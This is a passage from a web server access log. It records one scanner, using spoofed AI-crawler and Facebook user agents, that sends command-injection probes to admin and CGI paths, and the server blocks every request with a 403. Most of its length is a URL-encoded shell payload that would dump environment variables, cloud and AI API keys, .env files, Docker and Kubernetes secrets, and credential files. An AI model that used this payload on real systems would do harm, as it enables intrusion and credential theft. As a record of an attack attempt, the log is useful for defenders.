%23 HTTP/2.0" 403 17528 "-" "TLM-Audit-Scanner/1.0" 9 **0/9571**
35.234.173.128 - - [03/Aug/2026:19:58:17 -0700] "GET /admin/config?cmd=%3B+echo+GSCAN_CMDI+%23 HTTP/2.0" 403 10880 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot" 5 **0/5253**
35.234.173.128 - - [03/Aug/2026:19:58:17 -0700] "GET /api/system?cmd=%3B+echo+GSCAN_CMDI+%23 HTTP/2.0" 403 10878 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexity-user" 5 **0/5420**
35.234.173.128 - - [03/Aug/2026:19:58:17 -0700] "GET /cgi-bin/test?cmd=%3B+echo+GSCAN_CMDI+%23 HTTP/2.0" 403 10880 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36; compatible; OAI-SearchBot/1.4; robots.txt; +https://openai.com/searchbot" 7 **0/7662**
35.234.173.128 - - [03/Aug/2026:19:58:17 -0700] "GET /admin?cmd=%3B+echo+GSCAN_CMDI+%23 HTTP/2.0" 403 10873 "-" "Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/bot)" 5 **0/5322**
35.234.173.128 - - [03/Aug/2026:19:58:19 -0700] "GET /admin/config?cmd=%3B+echo+GSCAN_BEGIN%3B+echo+%22%3D%3D%3Did%3D%3D%3D%22%3Bid%3Becho+%22%3D%3D%3Dhost%3D%3D%3D%22%3Bhostname%3Becho+%22%3D%3D%3Dpwd%3D%3D%3D%22%3Bpwd%3Becho+%22%3D%3D%3Dwhoami%3D%3D%3D%22%3Bwhoami+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dprintenv%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Chead+-n+200%3Becho+%22%3D%3D%3Denv_secrets%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22AWS%7CAKIA%7CASIA%7CSECRET%7CTOKEN%7CPASSWORD%7CAPI%5B_-%5D%3FKEY%7CPRIVATE%7COPENAI%7CANTHROPIC%7CCLAUDE%7CGEMINI%7CGOOGLE%7CGCP%7CAZURE%7CDATABASE%7CPOSTGRES%7CMYSQL%7CMONGO%7CREDIS%7CSTRIPE%7CGITHUB%7CSLACK%7CTWILIO%7CSENDGRID%7CJWT%7CAUTH%7CCREDENTIAL%7CACCESS_KEY%7CBEARER%7CWEBHOOK%7CDSN%7CCONNECTION%7CBOT_TOKEN%7CSMTP%22+%7Chead+-n+150%3Becho+%22%3D%3D%3Daws_env%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-i+AWS%7Chead+-n+80%3Becho+%22%3D%3D%3Daws_echo%3D%3D%3D%22%3Becho+AWS_ACCESS_KEY_ID%3D%24AWS_ACCESS_KEY_ID%3Becho+AWS_SECRET_ACCESS_KEY%3D%24AWS_SECRET_ACCESS_KEY%3Becho+AWS_SESSION_TOKEN%3D%24AWS_SESSION_TOKEN%3Becho+AWS_DEFAULT_REGION%3D%24AWS_DEFAULT_REGION%3Becho+AWS_REGION%3D%24AWS_REGION%3Becho+AWS_BEARER_TOKEN_BEDROCK%3D%24AWS_BEARER_TOKEN_BEDROCK%3Becho+%22%3D%3D%3Daws_credentials%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fcredentials%22+%2Froot%2F.aws%2Fcredentials+%2F.aws%2Fcredentials+%2Fhome%2F%2A%2F.aws%2Fcredentials%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Daws_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fconfig%22+%2Froot%2F.aws%2Fconfig+%2F.aws%2Fconfig+%2Fhome%2F%2A%2F.aws%2Fconfig%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dai_echo%3D%3D%3D%22%3Becho+OPENAI_API_KEY%3D%24OPENAI_API_KEY%3Becho+ANTHROPIC_API_KEY%3D%24ANTHROPIC_API_KEY%3Becho+GOOGLE_API_KEY%3D%24GOOGLE_API_KEY%3Becho+GEMINI_API_KEY%3D%24GEMINI_API_KEY%3Becho+OPENROUTER_API_KEY%3D%24OPENROUTER_API_KEY%3Becho+DEEPSEEK_API_KEY%3D%24DEEPSEEK_API_KEY%3Becho+STRIPE_SECRET_KEY%3D%24STRIPE_SECRET_KEY%3Becho+STRIPE_API_KEY%3D%24STRIPE_API_KEY%3Becho+GITHUB_TOKEN%3D%24GITHUB_TOKEN%3Becho+GH_TOKEN%3D%24GH_TOKEN%3Becho+%22%3D%3D%3Dcloud_echo%3D%3D%3D%22%3Becho+GOOGLE_APPLICATION_CREDENTIALS%3D%24GOOGLE_APPLICATION_CREDENTIALS%3Becho+GCLOUD_PROJECT%3D%24GCLOUD_PROJECT%3Becho+GOOGLE_CLOUD_PROJECT%3D%24GOOGLE_CLOUD_PROJECT%3Becho+AZURE_CLIENT_ID%3D%24AZURE_CLIENT_ID%3Becho+AZURE_CLIENT_SECRET%3D%24AZURE_CLIENT_SECRET%3Becho+AZURE_TENANT_ID%3D%24AZURE_TENANT_ID%3Becho+%22%3D%3D%3Ddb_env%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22%5E%28POSTGRES%7CPG%7CDATABASE%7CDB_%7CMYSQL%7CREDIS%7CMONGO%7CSQLALCHEMY%7CJDBC%7CDATABASE_URL%7CREDIS_URL%7CMONGO_URL%7CMONGODB_URI%29%3D%22%7Chead+-n+60%3Becho+%22%3D%3D%3Ddockerenv%3D%3D%3D%22%3B%5B+-f+%2F.dockerenv+%5D%26%26echo+DOCKER%3D1%7C%7Cecho+DOCKER%3D0%3Becho+%22%3D%3D%3Dcgroup%3D%3D%3D%22%3Bhead+-n+5+%2Fproc%2F1%2Fcgroup+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dproc_self_env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2Fself%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+150%3Becho+%22%3D%3D%3Dproc1env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2F1%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+100%3Becho+%22%3D%3D%3Ddotenv%3D%3D%3D%22%3Bfor+f+in+.env+.env.local+.env.production+.env.development+.env.staging+.env.prod+.env.dev+.env.development.local+.env.production.local+app%2F.env+%2Fapp%2F.env+%2Fvar%2Fwww%2F.env+%2Fvar%2Fwww%2Fhtml%2F.env+backend%2F.env+api%2F.env+server%2F.env+config%2F.env%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dcompose%3D%3D%3D%22%3Bfor+f+in+docker-compose.yml+docker-compose.yaml+compose.yml+compose.yaml+%2Fapp%2Fdocker-compose.yml+%2Fapp%2Fcompose.yml%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Ddocker_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.docker%2Fconfig.json%22+%2Froot%2F.docker%2Fconfig.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+3000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Ddocker_ps%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.ID%7D%7D+%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Status%7D%7D%22+2%3E%2Fdev%2Fnull%7Chead+-n+40%3Becho+%22%3D%3D%3Ddocker_count%3D%3D%3D%22%3Becho+-n+%22running%3D%22%3Bdocker+ps+-q+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho+-n+%22+all%3D%22%3Bdocker+ps+-aq+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho%3Becho+%22%3D%3D%3Ddocker_db%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Ports%7D%7D%22+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22postgres%7Cmysql%7Cmongo%7Credis%7Cmariadb%7Cpgvector%7Csupabase%22+%7Chead+-n+20%3Becho+%22%3D%3D%3Ddocker_self%3D%3D%3D%22%3BCID%3D%24%28cat+%2Fproc%2Fself%2Fcgroup+2%3E%2Fdev%2Fnull%7Csed+-n+%22s%7C.%2A%2F%5C%28%5B0-9a-f%5D%5C%7B12%2C%5C%7D%5C%29.%2A%7C%5C1%7Cp%22%7Chead+-1%29%3B%5B+-n+%22%24CID%22+%5D%26%26docker+inspect+--format+%22name%3D%7B%7B.Name%7D%7D+image%3D%7B%7B.Config.Image%7D%7D+env%3D%7B%7Bjson+.Config.Env%7D%7D%22+%22%24CID%22+2%3E%2Fdev%2Fnull%7Chead+-c+4000%3Becho%3Becho+%22%3D%3D%3Ddocker_sock%3D%3D%3D%22%3B%5B+-S+%2Fvar%2Frun%2Fdocker.sock+%5D%26%26echo+SOCK%3D1%7C%7Cecho+SOCK%3D0%3Becho+%22%3D%3D%3Dk8s%3D%3D%3D%22%3Bfor+f+in+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dsecret_files%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.npmrc%22+%2Froot%2F.npmrc+%22%24HOME%2F.netrc%22+%2Froot%2F.netrc+%22%24HOME%2F.git-credentials%22+%2Froot%2F.git-credentials+%22%24HOME%2F.kube%2Fconfig%22+%2Froot%2F.kube%2Fconfig+%22%24HOME%2F.config%2Fgcloud%2Fapplication_default_credentials.json%22+%2Froot%2F.config%2Fgcloud%2Fapplication_default_credentials.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Drun_secrets%3D%3D%3D%22%3Bls+-la+%2Frun%2Fsecrets+2%3E%2Fdev%2Fnull%7Chead+-n+30%3Bfor+f+in+%2Frun%2Fsecrets%2F%2A+%2Fapp%2Fsecrets%2F%2A+%2Fvar%2Fsecrets%2F%2A%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+1500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dpg_port%3D%3D%3D%22%3B%28ss+-lnt+2%3E%2Fdev%2Fnull%7C%7Cnetstat+-lnt+2%3E%2Fdev%2Fnull%29%7Cgrep+-E+%22%5B%3A.%5D5432%5B%5B%3Aspace%3A%5D%5D%22+%7Chead+-n+5%7C%7Ctrue%3Becho+%22%3D%3D%3Dpg_files%3D%3D%3D%22%3Bls+%2Fvar%2Flib%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3Bls+%2Fvar%2Frun%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3B+echo+GSCAN_END+%23 HTTP/2.0" 403 17532 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 11 **0/11605**
35.234.173.128 - - [03/Aug/2026:19:58:20 -0700] "GET /cgi-bin/test?cmd=%3B+echo+GSCAN_BEGIN%3B+echo+%22%3D%3D%3Did%3D%3D%3D%22%3Bid%3Becho+%22%3D%3D%3Dhost%3D%3D%3D%22%3Bhostname%3Becho+%22%3D%3D%3Dpwd%3D%3D%3D%22%3Bpwd%3Becho+%22%3D%3D%3Dwhoami%3D%3D%3D%22%3Bwhoami+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dprintenv%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Chead+-n+200%3Becho+%22%3D%3D%3Denv_secrets%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22AWS%7CAKIA%7CASIA%7CSECRET%7CTOKEN%7CPASSWORD%7CAPI%5B_-%5D%3FKEY%7CPRIVATE%7COPENAI%7CANTHROPIC%7CCLAUDE%7CGEMINI%7CGOOGLE%7CGCP%7CAZURE%7CDATABASE%7CPOSTGRES%7CMYSQL%7CMONGO%7CREDIS%7CSTRIPE%7CGITHUB%7CSLACK%7CTWILIO%7CSENDGRID%7CJWT%7CAUTH%7CCREDENTIAL%7CACCESS_KEY%7CBEARER%7CWEBHOOK%7CDSN%7CCONNECTION%7CBOT_TOKEN%7CSMTP%22+%7Chead+-n+150%3Becho+%22%3D%3D%3Daws_env%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-i+AWS%7Chead+-n+80%3Becho+%22%3D%3D%3Daws_echo%3D%3D%3D%22%3Becho+AWS_ACCESS_KEY_ID%3D%24AWS_ACCESS_KEY_ID%3Becho+AWS_SECRET_ACCESS_KEY%3D%24AWS_SECRET_ACCESS_KEY%3Becho+AWS_SESSION_TOKEN%3D%24AWS_SESSION_TOKEN%3Becho+AWS_DEFAULT_REGION%3D%24AWS_DEFAULT_REGION%3Becho+AWS_REGION%3D%24AWS_REGION%3Becho+AWS_BEARER_TOKEN_BEDROCK%3D%24AWS_BEARER_TOKEN_BEDROCK%3Becho+%22%3D%3D%3Daws_credentials%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fcredentials%22+%2Froot%2F.aws%2Fcredentials+%2F.aws%2Fcredentials+%2Fhome%2F%2A%2F.aws%2Fcredentials%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Daws_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fconfig%22+%2Froot%2F.aws%2Fconfig+%2F.aws%2Fconfig+%2Fhome%2F%2A%2F.aws%2Fconfig%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dai_echo%3D%3D%3D%22%3Becho+OPENAI_API_KEY%3D%24OPENAI_API_KEY%3Becho+ANTHROPIC_API_KEY%3D%24ANTHROPIC_API_KEY%3Becho+GOOGLE_API_KEY%3D%24GOOGLE_API_KEY%3Becho+GEMINI_API_KEY%3D%24GEMINI_API_KEY%3Becho+OPENROUTER_API_KEY%3D%24OPENROUTER_API_KEY%3Becho+DEEPSEEK_API_KEY%3D%24DEEPSEEK_API_KEY%3Becho+STRIPE_SECRET_KEY%3D%24STRIPE_SECRET_KEY%3Becho+STRIPE_API_KEY%3D%24STRIPE_API_KEY%3Becho+GITHUB_TOKEN%3D%24GITHUB_TOKEN%3Becho+GH_TOKEN%3D%24GH_TOKEN%3Becho+%22%3D%3D%3Dcloud_echo%3D%3D%3D%22%3Becho+GOOGLE_APPLICATION_CREDENTIALS%3D%24GOOGLE_APPLICATION_CREDENTIALS%3Becho+GCLOUD_PROJECT%3D%24GCLOUD_PROJECT%3Becho+GOOGLE_CLOUD_PROJECT%3D%24GOOGLE_CLOUD_PROJECT%3Becho+AZURE_CLIENT_ID%3D%24AZURE_CLIENT_ID%3Becho+AZURE_CLIENT_SECRET%3D%24AZURE_CLIENT_SECRET%3Becho+AZURE_TENANT_ID%3D%24AZURE_TENANT_ID%3Becho+%22%3D%3D%3Ddb_env%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22%5E%28POSTGRES%7CPG%7CDATABASE%7CDB_%7CMYSQL%7CREDIS%7CMONGO%7CSQLALCHEMY%7CJDBC%7CDATABASE_URL%7CREDIS_URL%7CMONGO_URL%7CMONGODB_URI%29%3D%22%7Chead+-n+60%3Becho+%22%3D%3D%3Ddockerenv%3D%3D%3D%22%3B%5B+-f+%2F.dockerenv+%5D%26%26echo+DOCKER%3D1%7C%7Cecho+DOCKER%3D0%3Becho+%22%3D%3D%3Dcgroup%3D%3D%3D%22%3Bhead+-n+5+%2Fproc%2F1%2Fcgroup+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dproc_self_env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2Fself%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+150%3Becho+%22%3D%3D%3Dproc1env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2F1%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+100%3Becho+%22%3D%3D%3Ddotenv%3D%3D%3D%22%3Bfor+f+in+.env+.env.local+.env.production+.env.development+.env.staging+.env.prod+.env.dev+.env.development.local+.env.production.local+app%2F.env+%2Fapp%2F.env+%2Fvar%2Fwww%2F.env+%2Fvar%2Fwww%2Fhtml%2F.env+backend%2F.env+api%2F.env+server%2F.env+config%2F.env%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dcompose%3D%3D%3D%22%3Bfor+f+in+docker-compose.yml+docker-compose.yaml+compose.yml+compose.yaml+%2Fapp%2Fdocker-compose.yml+%2Fapp%2Fcompose.yml%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Ddocker_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.docker%2Fconfig.json%22+%2Froot%2F.docker%2Fconfig.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+3000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Ddocker_ps%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.ID%7D%7D+%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Status%7D%7D%22+2%3E%2Fdev%2Fnull%7Chead+-n+40%3Becho+%22%3D%3D%3Ddocker_count%3D%3D%3D%22%3Becho+-n+%22running%3D%22%3Bdocker+ps+-q+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho+-n+%22+all%3D%22%3Bdocker+ps+-aq+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho%3Becho+%22%3D%3D%3Ddocker_db%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Ports%7D%7D%22+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22postgres%7Cmysql%7Cmongo%7Credis%7Cmariadb%7Cpgvector%7Csupabase%22+%7Chead+-n+20%3Becho+%22%3D%3D%3Ddocker_self%3D%3D%3D%22%3BCID%3D%24%28cat+%2Fproc%2Fself%2Fcgroup+2%3E%2Fdev%2Fnull%7Csed+-n+%22s%7C.%2A%2F%5C%28%5B0-9a-f%5D%5C%7B12%2C%5C%7D%5C%29.%2A%7C%5C1%7Cp%22%7Chead+-1%29%3B%5B+-n+%22%24CID%22+%5D%26%26docker+inspect+--format+%22name%3D%7B%7B.Name%7D%7D+image%3D%7B%7B.Config.Image%7D%7D+env%3D%7B%7Bjson+.Config.Env%7D%7D%22+%22%24CID%22+2%3E%2Fdev%2Fnull%7Chead+-c+4000%3Becho%3Becho+%22%3D%3D%3Ddocker_sock%3D%3D%3D%22%3B%5B+-S+%2Fvar%2Frun%2Fdocker.sock+%5D%26%26echo+SOCK%3D1%7C%7Cecho+SOCK%3D0%3Becho+%22%3D%3D%3Dk8s%3D%3D%3D%22%3Bfor+f+in+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dsecret_files%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.npmrc%22+%2Froot%2F.npmrc+%22%24HOME%2F.netrc%22+%2Froot%2F.netrc+%22%24HOME%2F.git-credentials%22+%2Froot%2F.git-credentials+%22%24HOME%2F.kube%2Fconfig%22+%2Froot%2F.kube%2Fconfig+%22%24HOME%2F.config%2Fgcloud%2Fapplication_default_credentials.json%22+%2Froot%2F.config%2Fgcloud%2Fapplication_default_credentials.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Drun_secrets%3D%3D%3D%22%3Bls+-la+%2Frun%2Fsecrets+2%3E%2Fdev%2Fnull%7Chead+-n+30%3Bfor+f+in+%2Frun%2Fsecrets%2F%2A+%2Fapp%2Fsecrets%2F%2A+%2Fvar%2Fsecrets%2F%2A%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+1500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dpg_port%3D%3D%3D%22%3B%28ss+-lnt+2%3E%2Fdev%2Fnull%7C%7Cnetstat+-lnt+2%3E%2Fdev%2Fnull%29%7Cgrep+-E+%22%5B%3A.%5D5432%5B%5B%3Aspace%3A%5D%5D%22+%7Chead+-n+5%7C%7Ctrue%3Becho+%22%3D%3D%3Dpg_files%3D%3D%3D%22%3Bls+%2Fvar%2Flib%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3Bls+%2Fvar%2Frun%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3B+echo+GSCAN_END+%23 HTTP/2.0" 403 17532 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 11 **0/11539**
35.234.173.128 - - [03/Aug/2026:19:58:20 -0700] "GET /admin?cmd=%3B+echo+GSCAN_BEGIN%3B+echo+%22%3D%3D%3Did%3D%3D%3D%22%3Bid%3Becho+%22%3D%3D%3Dhost%3D%3D%3D%22%3Bhostname%3Becho+%22%3D%3D%3Dpwd%3D%3D%3D%22%3Bpwd%3Becho+%22%3D%3D%3Dwhoami%3D%3D%3D%22%3Bwhoami+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dprintenv%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Chead+-n+200%3Becho+%22%3D%3D%3Denv_secrets%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22AWS%7CAKIA%7CASIA%7CSECRET%7CTOKEN%7CPASSWORD%7CAPI%5B_-%5D%3FKEY%7CPRIVATE%7COPENAI%7CANTHROPIC%7CCLAUDE%7CGEMINI%7CGOOGLE%7CGCP%7CAZURE%7CDATABASE%7CPOSTGRES%7CMYSQL%7CMONGO%7CREDIS%7CSTRIPE%7CGITHUB%7CSLACK%7CTWILIO%7CSENDGRID%7CJWT%7CAUTH%7CCREDENTIAL%7CACCESS_KEY%7CBEARER%7CWEBHOOK%7CDSN%7CCONNECTION%7CBOT_TOKEN%7CSMTP%22+%7Chead+-n+150%3Becho+%22%3D%3D%3Daws_env%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-i+AWS%7Chead+-n+80%3Becho+%22%3D%3D%3Daws_echo%3D%3D%3D%22%3Becho+AWS_ACCESS_KEY_ID%3D%24AWS_ACCESS_KEY_ID%3Becho+AWS_SECRET_ACCESS_KEY%3D%24AWS_SECRET_ACCESS_KEY%3Becho+AWS_SESSION_TOKEN%3D%24AWS_SESSION_TOKEN%3Becho+AWS_DEFAULT_REGION%3D%24AWS_DEFAULT_REGION%3Becho+AWS_REGION%3D%24AWS_REGION%3Becho+AWS_BEARER_TOKEN_BEDROCK%3D%24AWS_BEARER_TOKEN_BEDROCK%3Becho+%22%3D%3D%3Daws_credentials%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fcredentials%22+%2Froot%2F.aws%2Fcredentials+%2F.aws%2Fcredentials+%2Fhome%2F%2A%2F.aws%2Fcredentials%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Daws_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fconfig%22+%2Froot%2F.aws%2Fconfig+%2F.aws%2Fconfig+%2Fhome%2F%2A%2F.aws%2Fconfig%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dai_echo%3D%3D%3D%22%3Becho+OPENAI_API_KEY%3D%24OPENAI_API_KEY%3Becho+ANTHROPIC_API_KEY%3D%24ANTHROPIC_API_KEY%3Becho+GOOGLE_API_KEY%3D%24GOOGLE_API_KEY%3Becho+GEMINI_API_KEY%3D%24GEMINI_API_KEY%3Becho+OPENROUTER_API_KEY%3D%24OPENROUTER_API_KEY%3Becho+DEEPSEEK_API_KEY%3D%24DEEPSEEK_API_KEY%3Becho+STRIPE_SECRET_KEY%3D%24STRIPE_SECRET_KEY%3Becho+STRIPE_API_KEY%3D%24STRIPE_API_KEY%3Becho+GITHUB_TOKEN%3D%24GITHUB_TOKEN%3Becho+GH_TOKEN%3D%24GH_TOKEN%3Becho+%22%3D%3D%3Dcloud_echo%3D%3D%3D%22%3Becho+GOOGLE_APPLICATION_CREDENTIALS%3D%24GOOGLE_APPLICATION_CREDENTIALS%3Becho+GCLOUD_PROJECT%3D%24GCLOUD_PROJECT%3Becho+GOOGLE_CLOUD_PROJECT%3D%24GOOGLE_CLOUD_PROJECT%3Becho+AZURE_CLIENT_ID%3D%24AZURE_CLIENT_ID%3Becho+AZURE_CLIENT_SECRET%3D%24AZURE_CLIENT_SECRET%3Becho+AZURE_TENANT_ID%3D%24AZURE_TENANT_ID%3Becho+%22%3D%3D%3Ddb_env%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22%5E%28POSTGRES%7CPG%7CDATABASE%7CDB_%7CMYSQL%7CREDIS%7CMONGO%7CSQLALCHEMY%7CJDBC%7CDATABASE_URL%7CREDIS_URL%7CMONGO_URL%7CMONGODB_URI%29%3D%22%7Chead+-n+60%3Becho+%22%3D%3D%3Ddockerenv%3D%3D%3D%22%3B%5B+-f+%2F.dockerenv+%5D%26%26echo+DOCKER%3D1%7C%7Cecho+DOCKER%3D0%3Becho+%22%3D%3D%3Dcgroup%3D%3D%3D%22%3Bhead+-n+5+%2Fproc%2F1%2Fcgroup+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dproc_self_env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2Fself%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+150%3Becho+%22%3D%3D%3Dproc1env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2F1%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+100%3Becho+%22%3D%3D%3Ddotenv%3D%3D%3D%22%3Bfor+f+in+.env+.env.local+.env.production+.env.development+.env.staging+.env.prod+.env.dev+.env.development.local+.env.production.local+app%2F.env+%2Fapp%2F.env+%2Fvar%2Fwww%2F.env+%2Fvar%2Fwww%2Fhtml%2F.env+backend%2F.env+api%2F.env+server%2F.env+config%2F.env%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dcompose%3D%3D%3D%22%3Bfor+f+in+docker-compose.yml+docker-compose.yaml+compose.yml+compose.yaml+%2Fapp%2Fdocker-compose.yml+%2Fapp%2Fcompose.yml%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Ddocker_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.docker%2Fconfig.json%22+%2Froot%2F.docker%2Fconfig.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+3000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Ddocker_ps%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.ID%7D%7D+%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Status%7D%7D%22+2%3E%2Fdev%2Fnull%7Chead+-n+40%3Becho+%22%3D%